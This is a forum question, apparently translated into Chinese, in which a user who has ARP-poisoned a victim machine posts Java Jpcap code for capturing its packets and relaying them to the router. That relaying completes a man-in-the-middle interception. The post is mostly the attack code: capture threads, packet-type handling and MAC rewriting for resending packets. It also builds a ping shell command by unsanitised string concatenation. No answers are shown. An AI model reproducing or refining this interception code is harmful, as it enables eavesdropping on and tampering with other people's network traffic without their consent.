使用Jpcap路由捕获的数据包

时间:2013-12-15 13:55:27

标签: java routing network-programming arp jpcap

我使用JPCAP在网络中的机器上执行arp毒药..中毒成功,机器正在向我发送数据,现在我想将收到的数据从受害者发送到路由器,并且当路由器将数据发送给我时,我会将其发送给受害者...

我试图对逻辑进行编码,但我觉得这个过程不起作用.. 所以问题是......是否有更好的战争?或者我做错了吗?

以下是我捕获数据包然后将其发送到目的地的代码..

CapturePacket.java:

package com;



import jpcap.JpcapCaptor;
import jpcap.NetworkInterface;
import jpcap.PacketReceiver;
import jpcap.packet.Packet;

public class CapturePacket extends Thread{
    private JpcapCaptor captor;
    private NetworkInterface device=null;

    private String session="";
    private String catMessage ="CPACKET";
    private boolean naddToInterface=false;
    private boolean addToInterface=true;

    private Packet packet;


    public CapturePacket(String s,String filter){
        try{
            this.session = s;
            this.captor = R.mainCaptor;
            this.captor.setFilter(filter,true);
            this.device = R.sDevice;
            R.systemMessage("Selected device to capture:"+device.name +" session "+s,this.catMessage,naddToInterface);
            R.systemMessage("Filter Set:"+filter +" session "+s, this.catMessage, this.naddToInterface);
        }
        catch(Exception e){

        }
    }

    public CapturePacket(String s){
        try{
            this.session = s;
            this.captor =R.mainCaptor;
            //this.captor.setFilter("not src host "+R.localhostAddress,true);
            this.device = R.sDevice;
            R.systemMessage("Selected device to capture:"+device.name +" session "+s,this.catMessage,naddToInterface);
            R.systemMessage("Filter Set:nothing" +" session "+s, this.catMessage, this.naddToInterface);
        }
        catch(Exception e){

        }
    }

    public void run(){

        try{
            //captor.processPacket(10000,new PacketPrinter());

            while(R.Operate){
                if(!R.OperationPause){
                    //System.out.println("Capturing Packets"+" session:"+this.session+" attempt:"+(this.attempts));
                    packet = captor.getPacket();
                    //System.out.println("Packet Capture..."+packet);
                    new HandlePacket(packet).start();
                }
            }

        }
        catch(Exception e){
            e.printStackTrace();
        }

    }
}

HandlePacket.java:

package com;

import java.net.InetAddress;

import jpcap.packet.ARPPacket;
import jpcap.packet.ICMPPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.Packet;
import jpcap.packet.TCPPacket;
import jpcap.packet.UDPPacket;

public class HandlePacket extends Thread {
    private Packet p;
    private InetAddress pSourceIP=null;
    private InetAddress pDesIP=null;
    private String catMessage ="HPACKET";
    private boolean naddToInterface=false;
    private boolean addToInterface=true;
    public HandlePacket(Packet pac){
        this.p = pac;
    }

    public void run(){
        try{
            if(p!=null){
            if(p instanceof ARPPacket){
                //System.out.println("ARP Packet Capture..."+packet);
                ARPPacket arp = (ARPPacket)p;
                new HandleARPPacket(arp).start();
            }
            else if(p instanceof TCPPacket){
                R.systemMessage("Packet type is TCPPacket",catMessage,naddToInterface);
                TCPPacket tcpPacket = (TCPPacket)p;
                pSourceIP = tcpPacket.src_ip;
                pDesIP = tcpPacket.dst_ip;
                RedirectPacket r = new RedirectPacket(p,pSourceIP,pDesIP);
                r.direct();
            }
            else if(p instanceof UDPPacket){
                R.systemMessage("Packet type is UDPPacket..",catMessage,naddToInterface);
                UDPPacket udpPacket = (UDPPacket)p;
                pSourceIP = udpPacket.src_ip;
                pDesIP = udpPacket.dst_ip;
                RedirectPacket r = new RedirectPacket(p,pSourceIP,pDesIP);
                r.direct();
            }
            else if(p instanceof IPPacket){
                R.systemMessage("Packet type is IPPacket",catMessage,naddToInterface);
                IPPacket ipPacket = (IPPacket) p;
                pSourceIP =ipPacket.src_ip;
                pDesIP =ipPacket.dst_ip;
                RedirectPacket r = new RedirectPacket(p,pSourceIP,pDesIP);
                r.direct();
            }
            else if(p instanceof ICMPPacket){
                R.systemMessage("Packet type is ICMPPacket",catMessage,naddToInterface);
                ICMPPacket icmpPacket = (ICMPPacket)p;
                pSourceIP = icmpPacket.src_ip;
                pDesIP = icmpPacket.dst_ip;
                RedirectPacket r = new RedirectPacket(p,pSourceIP,pDesIP);
                r.direct();
            }
            else{
                R.systemMessage("Cannot get packet type",catMessage,naddToInterface);
            }
                if(R.localhostAddress!="" && pSourceIP!=null){
                    R.systemMessage("Packets Captured:"+p,catMessage,naddToInterface);
                    if(pSourceIP.getHostAddress().equals(R.localhostAddress)){
                        R.systemMessage("Source is local host address...",catMessage,naddToInterface);
                    }
                    else if(pDesIP.getHostAddress().equals(R.localhostAddress)){
                        R.systemMessage("Destination is local host address...",catMessage,naddToInterface);
                    }
                    else{
                        R.systemMessage("Source and Destination is not local host address...",catMessage,naddToInterface);
                        R.systemMessage(""+p.datalink,catMessage,naddToInterface);
                        R.systemMessage("Packet Source IP:"+pSourceIP.getHostAddress(),catMessage,naddToInterface);
                        R.systemMessage("Packet Destination IP:"+pDesIP.getHostAddress(),catMessage,naddToInterface);
                    }
                }

                R.packetCapture++;
            }   
            R.attempt++;
        }
        catch(Exception e){
            System.err.println("Error:"+e.toString());
            e.printStackTrace();
        }
    }
}

RedirectPacket.java

package com;

import java.net.InetAddress;

import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.packet.ARPPacket;
import jpcap.packet.EthernetPacket;
import jpcap.packet.ICMPPacket;
import jpcap.packet.IPPacket;
import jpcap.packet.Packet;
import jpcap.packet.TCPPacket;
import jpcap.packet.UDPPacket;

public class RedirectPacket {
    private Packet p,sendP;
    private String catMessage="RDIRECT";
    private boolean addToInterface=true;
    private boolean naddToInterface=false;
    private JpcapSender sender;
    private JpcapCaptor captor;
    private InetAddress pSourceIP=null;
    private InetAddress pDesIP=null;
    private String packetType="",protocol="";
    private EthernetPacket ether=null;



    public RedirectPacket(Packet pack,InetAddress source,InetAddress des){
        try{
            this.p=pack;
            this.captor=R.mainCaptor;
            this.sender=captor.getJpcapSenderInstance();
            this.pSourceIP=source;
            this.pDesIP=des;
        }
        catch(Exception e){

        }
    }

    public void direct(){
        try{
            if(pSourceIP!=null && pDesIP!=null){
            String s=Operation.removeChar(pSourceIP.getHostAddress(), "/");
            String d=Operation.removeChar(pDesIP.getHostAddress(), "/");
            String myMac=Operation.convertMacByteToString(R.sDevice.mac_address);
            if(R.machines.containsKey(d)){
                ether = (EthernetPacket)p.datalink;
                        if(!myMac.equals(ether.getSourceAddress())){
                        /*
                        R.systemMessage("\n"
                                        +"R Attempt:"+R.rAttempt
                                        +"\n"
                                        +"My Mac:"+myMac
                                        +"\n"
                                        +"Packet Source IP:"+s
                                        +"\n"
                                        +"Packet Destination IP:"+d
                                        +"\n"
                                        +"Packet Source Mac:"+ether.getSourceAddress()
                                        +"\n"
                                        +"Packet Destination Mac:"+ether.getDestinationAddress()
                                        +"\n"
                                        +"Packet data:"+Operation.convertMacByteToString(p.data)
                                        +"\n"
                                        +"Packet Datalink:"+p.datalink
                                        ,this.catMessage,
                                        this.naddToInterface);
                                        */
                        ether.frametype=EthernetPacket.ETHERTYPE_IP;
                        ether.src_mac=R.sDevice.mac_address;
                        ether.dst_mac = R.machines.get(d).getMacByte();
                        p.datalink=ether;

                        R.systemMessage("\n"
                                        +"R Attempt:e"+R.rAttempt
                                        +"\n"
                                        +"Redirect packet details..."
                                        +"\n"
                                        +"Redirect Packet Source IP:"+s
                                        +"\n"
                                        +"Redirect Packet Destination IP:"+d
                                        +"\n"
                                        +"Redirect Packet Source Mac:"+ether.getSourceAddress()
                                        +"\n"
                                        +"Packet Data:"+Operation.convertMacByteToString(p.data)
                                        +"\n"
                                        +"Packet length:"+p.len
                                        +"\n"
                                        +"Packet capture length:"+p.caplen
                                        +"\n"
                                        +"Redirect Packet Destination Mac:"+Operation.convertMacByteToString(ether.dst_mac)
                                        +"\n"
                                        +"Redirect Packet Datalink"+p.datalink
                                        ,this.catMessage
                                        ,this.naddToInterface);
                        this.sender.sendPacket(p);

                        R.rAttempt++;

                        }
            }
            }
        }
        catch(Exception e){
            e.printStackTrace();
        }
    }

    public boolean checkReachable(String ip){
        try{
            Process p1 = java.lang.Runtime.getRuntime().exec("ping -c 2 "+ip.toString());
            int returnVal = p1.waitFor();
            boolean reachable = (returnVal==0);
            if(reachable){
                p1.destroy();
                p1=null;
                return true;

            }
            else{
                p1.destroy();
                p1=null;
                return false;

            }
        }
        catch(Exception e){
            e.printStackTrace();
            return false;
        }
    }   
}

提前致谢..我是网络编程和java的开始...非常感谢...

0 个答案:

没有答案